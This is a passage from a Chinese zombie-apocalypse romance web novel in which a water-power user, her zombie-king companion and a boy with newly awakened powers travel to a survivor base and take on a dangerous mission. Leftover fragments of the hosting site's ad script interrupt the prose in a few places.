颜枝笑了笑,向他道谢。 杨康收回筷子,便发现身旁那只丧尸幽幽的目光。 杨康立马埋头吃饭。 片刻后,感觉到周围似乎太安静了,他又抬起头。 便看见那只丧尸也不吃饭,盯着颜枝。 颜枝埋头吃饭,似乎没有察觉到他的目光。 杨康语塞。 这是,吵架了吗。 12. 触手丧尸王 小屋中只有两个房间,之前是颜枝和阿晟一人一间,现在来了一个杨康,颜枝便让丧尸王同杨康一起睡。 丧尸王乖乖答应了。 颜枝颇为惊奇,她还以为阿晟会抗议一下,她都想好应付的说辞了。 看来是心虚了。 想到那藤蔓…… 女子脸上多了几分绯红。 颜枝睡前不放心,将门锁好,这才安心躺上床。困意袭来,颜枝便睡着了。 另一边。 杨康在床上呼呼大睡,阿晟坐在椅子上,神色莫名。 他取出一颗珠子,明亮皎洁,隐隐发着光。 他记得,曾听过有人说,这颗回梦珠可以升高体温,甚至……恢复记忆。 丧尸王不在乎恢复什么记忆,想到那人类嫌弃的模样,他磨了磨牙,吞下这颗珠子后,那人类可就没有理由不让他抱了。 珠子含在嘴中,黏液将它融化,吞进肚子后,从胃开始升起热意。 那股燥热,换作其他人,早忍住不住打滚了,丧尸王却惬意地眯起眼。 下一秒,一大堆陌生又熟悉的记忆涌入脑海。 丧尸王挑眉,不甚在意,抬起右手抚摸了一下左胳膊,热的。 他又碰了下脖颈,胸膛…… 都是热的。 丧尸王笑了笑,抬脚便向另一个房间走去。 天刚亮,颜枝便醒来了,只是她感觉自己身旁像放了一个大火炉,紧紧缠着她,又热又闷,颜枝睁开眼睛看去,便见一个男人搂着她,力道极大,颜枝心中一惊,将对方的脸抬起,看到是阿晟,她松了口气。 复又冷声道:“装什么,知道你醒来了。” 丧尸王睁开眼,笑的乖乖的。 颜枝瞪了他一眼,没好气道:“我把门都锁住了,你竟然也能进来。” 便看见那只丧尸一脸骄傲。 颜枝:“……” 她忽然想到什么,在阿晟的身上摸来摸去,对方也不反抗,乖乖地任她摸。 颜枝瞪大眼睛,惊奇问道:“你怎么一夜之间体温变正常了?” 她心中一紧。 难不成…… 灰色的眼珠,还没用粉盖住的灰色皮肤。 颜枝看向他:“说句话。” 阿晟看着她:“我去……了一个……地方……那里有一颗……珠子……” 这句话太长了,他顿了顿道:“我……吃了……” 言下之意便是他吃了一颗珠子便变回体温了。 颜枝哦了一声, 看来他没有变成人。 她将丧尸王偷偷放在她腰间的手拿开:“不是让你跟小康一起睡,怎么跑过来了?” 阿晟抿唇,有些委屈。 “他……挤我……” 颜枝想了想,杨康之前蜷缩在她旁边之际,便爱滚来滚去。 他这话倒也不假。 颜枝心里软了些许。 忽然听见外面有雨声。 颜枝想到那酸雨,心中一紧。 连忙下床,光脚跑到窗边探头望去。 雷声轰隆作响,雨下得很大,硕大的雨滴滴落在植物上,植物迅速枯萎。 隐约中,能听见有丧尸的嘶吼声。 阿晟跟了过来,将人放在了自己的腿上。 白嫩的脚踩在男人强有力的大腿上,颜枝脸一红,刚要下去,腰身便被一只大手固定住,不得动弹。 “干、干嘛啊。” 女子颤巍巍道。 “凉……不穿鞋……” 颜枝欲哭无泪,推了推男人:“我去找鞋行不行。” 阿晟这才将人放下。 穿好鞋后,两人下楼,空荡荡的。 颜枝奇怪道:“小康不睡懒觉的,怎么现在还不下来。” “我得去看看。” 颜枝要往上走,手腕被身旁的男人攥住。 她疑惑地看向他,便见阿晟直勾勾地看着她。 只好两人一块上去了。 颜枝知道他是担心有危险。 她心头一暖。 走到杨康门前,颜枝敲了敲门。 无人应答。 颜枝轻声道:“小康,起来了吗?” 亦然。 颜枝看向阿晟,抿唇,将门推开。 便见杨康躺在床上,脸色发红,嘴里还念叨着什么。 “别吃我……别吃我……” 颜枝上前,摸了摸他的额头。 面露愁色。 发烧了。 末日后,不知为何,人类的体质似乎提升了些,像感冒发烧这种小病基本不常有,一般会发烧的人,要么就是要觉醒异能,要么就是——被感染了丧尸病毒…… 颜枝想到这里,心下一惊,掀开他的被子,仔细查看,似乎没有被丧尸咬的痕迹。 看来,是要觉醒异能了。 颜枝拍了拍阿晟的胳膊:“你下去做饭,我在这里守着小康。” 丧尸王幽幽的目光落在杨康身上,终究还是什么都没说,走了下去。 颜枝静静地守着昏睡的杨康。 过了一会儿,一直都很平静的男孩突然开始啜泣,胡言乱语。 “爸爸妈妈……” 显然是开始做噩梦了。 颜枝心头一软,手下输送着异能。 水系异能运用得当,便能蒸发成气体,可柔可刚的水温和地传送着能量,抚慰着杨康的心绪。 男孩渐渐平静下来。 颜枝目光看向远处。 外面的酸雨还在下着,势头丝毫不见变小。 杨康醒来后迷迷瞪瞪的,脑袋还不清醒,他努力睁大眼睛,有气无力地道:“姐姐。” 颜枝急忙为他端来一杯水。 杨康感觉肺里似乎有一团火,烧的他难受的紧,直咕咚咕咚地喝了三杯水,才有所缓解。 颜枝看向他:“你睡了一天一夜,我都不知如何了。” 杨康瞪大眼睛。 一天一夜。 男孩嘴角向下,眼泪便要往出流:“我是不是生病了。” 他已经想好了,如果病的很严重的话,就让姐姐将他丢出去,省的惹来晦气。 颜枝笑着看他:“你要觉醒异能了。” 杨康张大嘴,不可置信。 他? “快试试看,是什么异能。” 杨康迫不及待地伸出手,凝聚心神,便见一团小火苗升了起来,又消散掉。 “是火系异能啊,真不错。”颜枝夸赞道。 却见杨康蹙眉,另一只手凝聚出一道小闪电,维持了不到三秒,便没了。 男孩愣愣地看着手心,一副不可置信的模样。 颜枝惊叹道:“这是……雷火双系异能!” “没想到我们小康还是个天才。” 杨康被夸得红了脸,悄悄将脸转了过去。 但是嘴角压不住笑意。 他觉醒异能了,还是双系异能。 他一定要刻苦训练,努力杀丧尸! 颜枝把人拉了起来:“饿了吧,起来看看阿晟做了什么。” 杨康下了楼,惊愕地看着桌子上的菜。 芹菜炒肉,皮蛋瘦肉粥,木须肉清炒虾仁,道道色香味俱全。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>看着那只丧尸系着围裙的模样,杨康实在难以将眼前这个贤惠的男人同那日狼狈不堪向他学习做西红柿炒豆角的人联想在一起。 待食物进口,杨康眼睛都亮了。 他看了一眼阿晟,支支吾吾道:“……男人会做饭,不会单身汉。” 颜枝噗嗤一笑。 “你这从哪学的?” 杨康来了兴致,继续道:“我还会呢。” “男人会炒菜,秒杀高富帅。” “男人会熬汤,生活不悲伤。” “男人厨艺精,女人不花心。” 他一溜烟说了好几句,惹得颜枝笑个不停。 杨康见阿晟没反应,以为他听不懂,这才放了心。 他没看到,对方忽然看了他一眼,眼中神色莫名。 * 颜枝觉得阿晟那句话对,也不完全对。 他说酸雨过后,丧尸等级会提升,此话不假,酸雨持续了五日后,那群笨拙的丧尸明显行动灵敏了些。 颜枝呼了口浊气。 感觉到体内异能的膨胀。 她的异能卡在三级已许久了,她吃了好几个三级晶核。仍不见突破,便将突破异能此事放下,静待缘分,不曾想,在酸雨过后,许久未动过的等级竟然悄悄突破了。 看来,酸雨不仅会促进丧尸等级的提升,也会提升人类的等级。 颜枝跑到阿晟身边,将人上上下下打量了一番。 果然,作为丧尸王,他自然也有变化。 阿晟灰色的皮肤已转变为白皙色,看起来与普通人无异,只是那双灰眸仍然存在。 颜枝抬头看他,弯了弯眼眸:“现在倒给我省下粉底液了。” 丧尸王将女子脸颊揪起一块肉。 “我比不上那些粉底液吗?” 颜枝瞪大眼睛。 “你说话……” 阿晟将人类的两颊揪起,原本的鹅蛋脸,变成了圆脸。 他笑弯了眼。 颜枝悄悄撇开目光。 这只丧尸变回正常肤色……倒有些小有姿色。 “那你的藤蔓……” 丧尸王挑眉,心念一动。 藤蔓拔地而起。 颜枝白了脸,赶紧让他收回去。 阿晟疑惑道:“我还以为你想它们了呢。” 颜枝苦着脸,她还以为这只丧尸既然更人性化了,那藤蔓说不定就没有了,结果竟是一点都不变。 不对。 ……她看到了,那藤蔓又多了几枝! 颜枝撒腿就跑。 “我去看看小康。” 杨康此时正伸出手,放出异能。 那天后,颜枝又给了他几颗一级晶核。 他吸收后,便成功晋级为一级异能者。 放出的火星和雷电虽仍很小,但持续的时间长了些,不像刚开始那样只能维持几秒。 “去试着打丧尸如何?” 颜枝问道。 杨康眼前一亮,又犹豫道:“……我可以吗?” 颜枝拍了拍男孩的头:“凡事都有开始的,加油!” 杨康使劲点点头。 好巧不巧,刚出门便碰到了一只一级丧尸。 杨康看到丧尸,有些退缩。 转头看向颜枝,女子正给他打气。 杨康咬牙,坚定向前。 远处。 丧尸王抿唇,郁闷道:“一级丧尸有什么好打的。” 他都不用动手,释放出压力,丧尸就跪倒在地上,不敢动弹了。 人类竟然还使唤他,为这个小屁孩专门唤来这只一级丧尸。 13. 触手丧尸王 丧尸的进化是肉眼可见的。 以前的一级丧尸手脚笨拙,头脑简单,哪怕是普通人利用刀也能杀死。 但眼前这只丧尸明显不同, 他闻见人肉味,嘶吼一声,向杨康扑来。 杨康恐惧地后退几步,手上放出火星,那丧尸似乎察觉出那热浪,敏锐地往旁边一跳,避开了那火星。 杨康手足无措,手下隐隐发抖。 “左手火系异能,右手雷系异能,双攻。” 颜枝提醒道。 杨康镇定下来,连忙双手放出异能。 那丧尸避开了雷电,却没想到后面又有火星攻击,一时不慎,被打住了,它痛呼一声。 可惜杨康异能等级太弱,无法一击致命。 见那丧尸被打的摔在地上,杨康信心大震。 又放出异能,倒在地上的丧尸瞬间毙命。 丧尸头颅炸开,一块银白色的晶核掉了出来。 杨康认出那是姐姐给他的好东西,立马跑过去拿起,兴奋道:“姐姐,我杀丧尸了!” 颜枝弯眸。 下一秒,她脸色一变。 只见杨康身后忽然扑来一只恐怖的巨物。 比起刚才那只低级丧尸,他行为更为灵敏,气息更加恐怖。 这、这是一只三级丧尸! 颜枝立马喊道:“小康,跑!” 小康听见后面的嘶吼声,脸色一白,撒腿就跑。 他跑得快,又会躲,以前就是靠这个勉强存活。 只是这次似乎不同了,那只三级丧尸经过进化,不仅速度加快,甚至有了些许智慧。 杨康屏住呼吸,往石头下面躲,又向反方向抛出去一块石头,想迷惑它。 便见那只三级丧尸闻了闻,只片刻犹豫,便向石头这块扑来。 杨康捂住嘴,眼睛流出恐惧的泪水,努力不出声。 颜枝瞪大眼睛,起身往那边跑。 身旁的丧尸王将她拉住。 阿晟放开气息。 六级丧尸王的威压铺天盖地地袭来,那丧尸腿脚一软,差点跪在地上,转身便逃跑了。 杨康见状,立马向颜枝这个方向跑来。 扑到女子怀中,哭喊道:“姐姐。” 颜枝轻哄着他,眼里闪过深思。 “丧尸进化的程度远比我们想象得更快。” 以前的一级丧尸相当于二级丧尸,那只三级丧尸的实力与温泉山庄那只四级丧尸不相上下。 丧尸王抬眸:“你讨厌丧尸吗?” 颜枝刚想点头,忽然想起这个看起来与常人无异的男人也是个丧尸,甚至是丧尸中的头头。 她犹豫了一下,还是实话实说:“讨厌。” 是丧尸害的她平静的生活被打破,被迫逃亡,也是丧尸吃掉了她的父母。 丧尸王面色一沉,终究还是没说什么。 颜枝看了他一眼。 补充道:“但是,不讨厌你。” 这只丧尸将她从丧尸潮中救了下来,又与她相伴,成为最好的伙伴,虽然……有时会做一些孟浪之事,但是没有他,颜枝早已死了千百遍了,哪里还能好端端地站在这里。 闻言,闷闷不乐的丧尸王又开心了。 他嘴角擒笑,拉着颜枝的手腕往屋子中走。 又转头对杨康道:“还不跟上。” 阿晟头一次对杨康态度这么好,杨康立马受宠若惊,连方才所受惊吓都抛之脑后了,他高兴地跟了上去。 走在路上,杨康心里仍是激动,小嘴叭叭个不停。 “姐姐,我第一次杀丧尸,跟我想象中完全不一样。” “我以为我会非常害怕,但是当看见那只一级丧尸倒在地上时,我第一次觉得我很厉害!” 颜枝静静地听着。 片刻后,她忽然开口:“我们去C基地如何?” 颜枝看向阿晟,原以为他会抗拒,没想到他面色平和。 颜枝忽然发觉,自从离开山庄后,他便变得不太一样了,以前的他虽有灵智,但心性幼稚,现在的他似乎学会了思考,变得更加成熟了。 杨康奇怪地问道:“为什么要走啊,我们在家里不是挺好的吗?” 他喜欢那个小屋,有姐姐,有他,还有……那只丧尸。 “你的天赋很好,应该去更高更远的地方,才能成长变强,而且,我一直以来都很想去C基地。” 颜枝看向远处。 忽然想起跟随顾朗那个小队逃亡时,心里唯一支撑她的念头,便是前往C基地,去那个安稳的地方,避开被丧尸吃掉的结局。 现在她已经有了自保的能力,却依然想去那里看一下,就当满足那时自己的愿望吧。 杨康想不到那么深,但是既然姐姐想去,他就一口答应了。 阿晟面色从容,听见C基地,脑海中便浮现种种记忆。 丧尸王翘起嘴角。 这件事便这么决定了。 收拾好行李,三人便出发,坐上越野车后,颜枝回头看了一眼小屋。 车子平稳行驶中。 看着路边不断变化的景色,颜枝眼里忽然有了几分憧憬。 凭借丧尸王身上不经意间释放的威压,一路上极为顺利,那些丧尸看见他们就像老鼠看见猫一样,颜枝偷笑一声。 晚上停车休息时。 碰到了一个队伍。 三男两女。 模样皆狼狈极了。 反观颜枝他们三人,衣服整洁,从容不迫,哪里像在末世。 那几人多看了几眼他们,眼里闪过忌惮。 能在末世这样从容的人,自然实力强硬。 颜枝他们自顾自地坐下,颜枝从车里取出几袋方便面,又拿出一个小锅。 在另一个小队惊愕的目光下。 她在锅里放出水柱,又使唤杨康放出火星,不一会儿,锅里便热腾腾地冒着气了。 香味扑鼻而来。 更过分的是,那漂亮女人又往里面加了三根火腿肠,两个鸡蛋。 几人看着吃到一半的苏打饼干,忽然有些难以下咽了。 第一个忍受不住的男人将嘴里的饼干吐出来,又想将饼干丢了,但是想了想,还是留了下来。 其他几人又纷纷放下饼干。 几人对视一眼。 一个小丫头怯生生地走了过来。 “姐姐,我可不可以拿两罐豆瓣酱和你换一下方便面?” 似乎自己也意识到差距有些大。 她补充道:“再加几袋辣条。” 颜枝想了想,有了豆瓣酱就可以做调料了。 几袋方便面罢了。 她爽朗地答应了。 小丫头心头一喜。 拿着四袋方便面的她高兴地回去了。 本来她只要三袋的,但是颜枝看他们有五个人,就又多加了一袋。 那个小队喜气洋洋地学着方才颜枝的做法将泡面煮熟。 香味弥漫开。 两个小队各占一边,互不打扰,看起来极为和谐。 那几人将面捞完后,又将汤咕咚咕咚喝光。 这才心满意足。 看起来像是领头的男人擦擦嘴,靠近颜枝他们。 他抱拳示意。 “我叫严昌庆,是植物系异能者,感谢几位愿意与我们交换,日后有用的到我们的地方,只管说一声。” 颜枝点点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头。 严昌庆开口介绍道:“这位叫林升平,是火系异能者。” 一个半条胳膊都是纹身,浑身腱子肉的男人站了起来,他努力想表示出平和,但长的太凶了,还是看着凶巴巴的。 严昌庆又指向一个女子,她的五官很妖艳,姣好的身材被衣服包裹起来,但脸上很冷漠,这股冷漠中和了她的妩媚,又增加了几分反差感。 “她叫温岚,是水系异能者。” 温岚坐着,只淡淡地点头。 严昌庆温和地笑笑:“温岚性格一向如此,还请见谅。” 颜枝弯眸,表示自己不在意。 这时,一个文弱的青年站了起来,他戴着边框眼镜,一看便是个知识分子。 他用手往上提了提眼镜框。 认真道:“我叫沉笙,是土系异能者,相逢便是缘分,很高兴与你们相识。” 只剩最后一个人了。 还没待严昌庆介绍,便见那个小丫头兴奋地站了起来。 “姐姐,我叫凌嫣,是精神系异能者,你长的好漂亮啊。” 严昌庆失笑道:“她是我们队的开心果。” 颜枝心里浮现暖意。 末世之际,大多数小队组合起来皆有利所图,大难临头便各自飞,甚至不落井下石,助推一手便不错了,眼前这个小队,哪怕刚见面,从他们之间的眼神交流,便可知晓几人的默契。 颜枝回之一笑。 “我叫颜枝,是水系异能者。” “这位是我的弟弟——杨康,是雷系异能者。” 颜枝看向身旁的男人。 “这位是我的……” 她想了想:“嗯……朋友,他叫阿晟,是植物系异能者。” 丧尸王闻言,眼眸瞬间晦暗,直戳戳地把自己的不愉快表现了出来。 严昌庆暧昧的眼神在两人之间流转,没有戳破。 “颜小姐,你们要去何地啊?” “C基地。” 闻言,凌嫣立马跳了起来:“姐姐!我们也是!!!” “小嫣─” 温岚蹙眉,小心提醒着。 凌嫣立马焉了。 严昌庆想了想,开口道:“实不相瞒,我们也要去C基地,不如一同前往可好?” 颜枝看向身旁两人。 杨康迷茫地看着她。 丧尸王还在为方才的“朋友”生闷气,冷冷地看着她。 颜枝:“……” 她歉意道:“我们三人已习惯相伴了,不好意思了,要辜负你的好意了。” 严昌庆温和地摇摇头。 夜深了,两队都准备各自钻进车里休息。 颜枝刚想动身,忽然感觉自己的胳膊被人拉住。 她看了过去——小丫头眨着大眼睛,紧紧地盯着她。 “怎么了?” 凌嫣瘪嘴:“姐姐,我可喜欢你了,你愿意和我换方便面,我就知道你一定是个好人!” 颜枝失笑,笑容绽开的模样如茉莉般清雅:“给你几袋方便面就是好人了?” 这小丫头还挺单纯的,估计没少被骗。 凌嫣被她这模样惊艳到了,说道:“你这么美,肯定是个好人。” “姐姐,来,咱两亲一口,我不亲嘴,我就亲一下脸!” 话落,她就闭着眼往颜枝方向撅嘴。 颜枝惊恐地看着她。 凌嫣没感觉到软软的触觉,睁开眼,便见那个灰眸男人拉着个脸,将那个漂亮姐姐拉上了车。 她还听见那个灰眸男人低声道:“你倒是男女通吃。” 凌嫣瞪大眼。 可恶的臭男人! 离漂亮姐姐远点!!! 14. 触手丧尸王 天亮后,颜枝同严昌庆点点头,两个队伍便各自上路了。 昨日已走了三分之二的路程,待正午时分,便到了C基地。 前面人车拥挤,一眼望去满是人头,不愧是最强基地,C基地修得极为壮观,城墙高高隆起,防御措施准备完善。 三人下了车,顺着人群拥挤的地方走去。 一个笑眯眯的男人站在C基地门前,指着桌子那里,和颜悦色道:“请大家登记好相关信息,便可入内了。” 几个人坐在桌子前,一脸不耐烦。 排队的人一个接一个。 一个壮汉手中放出雷电,骄傲地说道:“我是二级雷系异能者。” 登记的人甩给他一个牌子。 壮汉看了一眼,怒道:“有没有搞错!我可是二级异能者,就让我住一个破房子!” 一个破单间,不能洗澡,不能做饭,房间里只有一个床。 登记的人面露讽刺:“所以呢?二级很厉害吗?” 壮汉语塞,又见几人实力强劲,不敢闹事,只好站在一旁,壮汉冷笑,他就站在这里看,到底有几个二级以上的。 第二个是一个文文弱弱的小姑娘,她开口道:“我是三级火系异能者。” 壮汉瞪大眼,不可置信地看着她。 这样瘦胳膊瘦腿的,他一拳能打死十个。 登记的人面色缓和,递给了她一个带有淋浴间小屋子的牌子。 小姑娘一喜。 壮汉不服气道:“她说是就是啊,有本事放出来看看!” 小姑娘怯生生的,手中骤然出现一团火星,一看便比方才那壮汉放出的雷电气势更足了些。 壮汉听见旁边人的嘲笑声,咬牙,这也就一个,他拭目以待! 第三个是一个温润的青年,看起来极为面善:“我是四级植物系异能者。” 他手中放出一朵花,娇艳欲滴,下一刻,那花骤然张口大嘴,将那桌子吞了下去。 颜枝心想道,严昌庆还是蛮厉害的,怪不得能带领那个小队。 严昌庆歉意道:“我这花好久没出来了,现在可能有点激动。” 登记的人认真地打量这个青年。 方才那笑嘻嘻的男人连忙道:“四级异能者,这可真厉害,不过那个被你的花吃掉的桌子,可要由你来赔偿了。” 严昌庆点点头,一脸无奈。 第四个是温岚,她是三级火系异能者。 第五个是林升平,他是四级雷异能者。 第六个是陈笙,他是三级土系异能者。 第七个是凌嫣。 小姑娘看起来只有十五六岁,长的小小的,看起来极为单纯可爱。 但她竟是一个四级精神系异能者! 颜枝暗自咋舌。 怪不得昨日让她来交换物资,哪怕对方来者不善,也在这小丫头手上讨不上好。 一下子来了这么多等级不低的异能者,登记人和领头男人脸都要笑烂了。 他们五人自然分配了不错的房子。 壮汉已经石化了。 他这个实力在外面已经不错了,没想到在C基地,竟然是垫底的。 他尴尬的想把脸遮住,刚想偷偷溜走,便见那个笑嘻嘻的男人,眼底毫无笑意。 “这位先生还请交付住所的租金。” 不错,C基地的传统便是根据异能等级来分配住所,同时也是收取晶核作为租金。 那壮汉讪讪放下一个二级晶核,转身灰溜溜地跑了。 五人小队中,竟然是那个冷冷的温岚先发现了颜枝他们。 温岚一愣,颜枝笑着向她点点头,女子将目光移开。 过去的人越来越多,其中,不仅有异能者,也有普通人。 异能者普遍等级在二级以上,享有个人单间,等级越高,享受的住所越好。 普通人便只能十几个人住在一间狭小的屋子中。 待夕阳西下,才轮到颜枝他们。 第一个是杨康。 杨康说自己是一级异能者。 旁边传来嗤笑声。 男孩顿了顿,补充道:“我是雷火双系异能。” 话落,其他人皆一脸惊愕。 如今这异能等级高的不在少数,但双系异能屈指可数啊。 登记的人慈爱地看着杨康。 有天赋有天赋。 倘若能为C基地效力,必有一番作为。 杨康破格拥有了一间有淋浴间的小屋。 第二个是颜枝,颜枝手中放出强大的水柱。 登记人仔细感受着,笑道:“看来我们基地又有了一个四级异能者。” 颜枝拥有了一间温馨的小屋。 阿晟上前来,人们皆面露期待。 这个小队一共三个人,前两个人实力都这么强劲。 另一个人肯定差不到哪去。 更何况,青年姿态从容,面容俊朗,气势凛然,肯定有之过而无不及。 大家眼巴巴地看着他。 青年开口道:“我是一个普通人。” …… 周围似乎寂静了。 登记人面露不耐。 正欲甩给他一个十几个人的牌子。 便见青年开口道:“我要同我妻子住一起。” 人们顺着他的目光看向颜枝。 纷纷面露不屑。 敢情这是个小白脸啊。 被众人鄙夷的青年一点也不见羞愧之意,他直直地跟在了颜枝旁边。 颜枝好笑地悄悄问他:“倘若我没记错的话,你都六级了吧,竟然还要沾我的光。” 阿晟蹙眉,想了想道:“很麻烦。” 颜枝以为他是觉得自己是丧尸,太惹人注意了不太好。 但是。 女子好笑地心想。 现在不是也一样惹人注目。 一个靠老婆的小白脸。 杨康皱巴着脸。 “我也要和姐姐睡一个房间。” 原本他见自己有个不错的屋子,超级激动,结果现在自己要独自住了,顿时不高兴了。 甚至隐隐后悔,早知道他也向那只丧尸一样,说自己是普通人了。 杨康悄悄看了一眼阿晟,在心里唾弃道,他肯定是故意的,就想跟姐姐住一起!太有心机了!!! 丧尸王淡淡地瞥了一眼杨康。 “你长大了,也该学会自己睡觉了。” 杨康磨牙,愤懑道:“你比我要大十几岁呢!” 阿晟嘴角擒笑,眼里隐隐自豪:“哦,我有老婆可以靠。” 他没再说话,杨康却懂了言外之意。 他闷闷地瘪嘴,终究还是不甘地向分配的房子走去。 颜枝好笑弯眉:“你老爱逗他。” 丧尸王没说话,手下搂着女子肩膀往分配的房子走去。 边走,颜枝边惊叹道。 “这个屋子的设计好精妙啊。” “C基地的人真的好多。” 只走了一段路,便看见了几百人了。 可见这整个基地该有多庞大。 阿晟静静听着女子的称赞,眼里闪过深色。 “颜小姐?” 有人小心翼翼地唤她。 颜枝看了过去。 正是方才刚刚看见的严昌庆。 严昌庆呼了口气:“原来真的是你啊,我还以为看错了。” 颜枝笑了笑:“方才我们也看到你们了,很厉害。” 严昌庆谦逊道:“哪里,比起你们,可差多了。” “我记得昨日你说杨康小兄弟是雷系异能,原来竟是雷火双系异 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能者。” 他赞叹道。 颜枝不好意思地摸了摸脸:“昨日特意隐瞒,不好意思欺骗了你们。” 严昌庆爽朗笑道:“出门在外,有警惕心正常。” “只是—” 他看向一旁沉默的男人。 “为何要说阿晟兄弟是普通人呢?“ 严昌庆分明能感觉到他强劲的实力,且他作为四级异能者竟也看不透阿晟的实力,这个认知让他隐隐心惊肉跳。 这个三人小队,实力实在强大如斯。 颜枝想了想道:“他可黏人了,就……” 女子没有继续说下去,点到为止,但话中的意思极为明显。 丧尸王闻言,瞥了眼颜枝。 ——她随口瞎说,竟正中丧尸王的心思。 阿晟眼眸深了深。 ——人类什么都知晓,却仍然包容着他。这个认知让丧尸王激动得几乎要凭空出现心脏,正不停地跳动着。 严昌庆失笑,心中的警惕隐隐消散。 再开口时,带了几分爽朗,他有意结交。 “我们同到此地,实在有缘,日后便请多多关照了。” 颜枝笑着点点头。 * 夜深之际,颜枝与阿晟各躺在床的两边,颜枝闭着眼睛,头脑中刚出现几分困意,忽然感觉到身下的奇怪感觉,她脸色一僵。 身旁的丧尸王将她捞了过去。 在她身上嗅闻着,蹙眉,得出一个结论—“你受伤了!” 人类在流血,血的味道刺激着丧尸王的鼻腔,他嗅觉极好。 颜枝白着脸,挣脱开他:“没事哒没事哒!我去一趟卫生间。” 丧尸王紧搂着她,不让她跑。 开口道:“你受伤了,让我看一下哪里受伤了。” 颜枝几欲羞愤欲绝。 “我没有受伤,这是身体正常的生理反应!这叫月经!!!” 颜枝觉得自己是疯了,竟然在这里给一个丧尸讲月经,但她真怕这只丧尸下一秒就强硬把剥光她的衣服,寻找流血的地方。 丧尸王抿唇,脑海中有关月经的记忆涌现。 他哦了一声,放开了女子。 颜枝虽惊奇他的听话,但身下已经快要血涌成河了,容不得她怠慢,她立马噔噔噔地跑去了卫生间。 待收拾好了,颜枝才放松下来,她呼了口气,重新躺在床上。 她想继续睡觉,但肚子阵阵的疼痛打破了她酝酿好的睡意。 颜枝惨白着脸,身旁的丧尸爬了起来,看着她。 “你很难受。” 人类很难受,阿晟努力回想着脑海中的记忆,看有没有可以缓解疼痛的方法。 但脑海中只有冰冷的科普,介绍月经是什么,月经的用途,月经的产生的原因。 “我该怎么做?” 颜枝抿唇,感觉到身旁的丧尸身上热腾腾的体温。 仿佛一个大火炉。 她主动贴了上去。 紧密贴合。 颜枝舒服地喟叹一声。 她又将丧尸王的手隔着衣服放在自己的肚子上。 命令道:“给我好好揉。” 丧尸王任劳任怨。 颜枝又不满意了,她将肚子上的衣服拉上去,在被窝中,将丧尸王的手放肚子上,对方热热的体温更加直接地传过来。 颜枝满意的同时有些不好意思。 感觉自己像个急se的流氓…… 丧尸王感受到手下的触感温暖滑嫩。 他忍不住多摸了几下。 下一刻,被对方拍了一下手。 丧尸王老实了,耐心给颜枝揉肚子。 颜枝舒服了,困意渐渐浮现,闭上了眼睛。 丧尸王嘴角擒笑,将女子搂的更紧,也闭上了眼睛。 15. 触手丧尸王 能够操控丧尸的异能 翌日,颜枝,阿晟和杨康汇合,三人前去分配任务处。 C基地不养闲人,即使是普通人也要做事,何况是异能者,这么大的基地能够安稳地落根,离不开异能者们前仆后继地完成任务,以保证基地的强盛。 C基地有一个公示栏,那里每日都贴着不同的任务,又在下面标注着完成后所获得的晶核数量。 颜枝一路看了下去。 她的目光落在一个任务上。 ——前往幽境获取虎食花,完成后可获得一颗五级晶核,三颗四级晶核。 这个任务显然已搁置许久,明显与其他任务的纸张新旧程度不同,且这奖赏也比其他任务高出几个档次。 一颗五级晶核,倘若能够拿到的话,便能助她突破4级,成为5级异能者,剩下的四级晶核,也能为以后的杨康突破等级发挥重要作用。 颜枝同阿晟对视一眼,看出了他眼中的意味。 颜枝点了点这个任务,同登记人员说道:“我们想要接这个任务。” 话落,登记人员有些错愕。 旁边的异能者不赞同地劝道。 “幽境那种地方危险的很,新来的就是不知天高地厚!” “就是,接这个任务的少说也有几十个异能者了,还不是都死了,连个尸骨都没见到。” 登记人员也好心提醒:“小姑娘,你可想清楚,别光图眼前一时的利益,幽境里面的恐怖生物可比丧尸厉害多了。” 颜枝有些犹豫,回头看了一眼阿晟。 丧尸王嘴角擒笑,在她耳边道:“什么恐怖生物能有我厉害。” 颜枝认真想了想。 确实。 恐怖生物乍一听可怖,但自己身旁的可是个六级丧尸王。 颜枝放下心,认真道:“我确定了,接。” 登记人员点点头,又指了指上面的字:“可这最低限制人数是7人,你们这……” 他看了一眼颜枝几人,将那个小孩加上,也才三人。 他摇摇头。 话落,有道声音传来:“我们也接!” 颜枝看了过去,原来是严昌庆他们五人。 严昌庆冲她温和地笑笑。 其他人都不冷不淡的。 除了凌嫣,凌嫣一见颜枝,便激动地要往她身边蹿,身旁的温岚见状连忙将她按住。 登记人员见状,便将任务揭下。 “既然有人接了,我便将这取下来,倘若你们没命回来,我便将这任务又重新挂上。” 颜枝暗自心想,看来这虎食花对C基地极为重要,哪怕折损几十个异能者,也不愿放弃。 严昌庆上前来,正欲靠近颜枝,便见她身旁的男人,上前将女子遮在身后。 他愣了一下,然后笑笑,体贴地没再上前。 “颜小姐,既然最低限制人数是7人,那不如就我们五人,再加上你和阿晟先生,杨康小兄弟过于年幼,去这么危险的地方实属为难。” 颜枝也想到了这一层。 杨康虽是双系异能者,但等级过低,她心暖严昌庆的考虑周全,点点头。 一旁听到这话的杨康瞪大眼睛,抗议道:“姐姐!我也要同你们去!” 颜枝摸了摸他的头,耐心道:“你还小,这个任务太危险了,现在可以接一些简单的任务,姐姐相信你,待姐姐平安回来,我们又能在一起了。” 杨康也知道自己的等级过低,去了也是拖后腿,他点点头。 “那姐姐一定要安全回来啊!” 颜枝笑了笑,拉了拉身旁丧尸王的胳膊。 “不是还有他保护我呢。” 杨康瞅了一眼阿晟,微微放心。 阿晟抿唇道:“阿枝有我保护,你多操心自己吧。” 颜枝飞快地看了一眼他。 这还是阿晟第一次叫她名字。 很奇怪的感觉。 杨康咬牙:“你—” 他愤懑心想,他要好好训练,提升异能,以后成为强者,第一个把这个每日抢他姐姐,还嘲讽他的坏丧尸打趴下! * 带好物资后,几人便上路了。 严昌庆有些感慨道:“那日没有一起前往C基地,现在又要一起去完成任务,看来注定我们有缘。” 颜枝笑了笑。 点点头。 这个队伍实在是让人烦不起来,她第一眼见便心生好感,如今看来是有千丝万缕的缘分空。 一旁待在温岚身旁的凌嫣翘起嘴角道:“我就知晓我和颜枝姐姐会再见面的,你们看,是吧。” 其他人哈哈大笑,皆没在意。 唯有温岚眼底一暗,扯了扯嘴角。 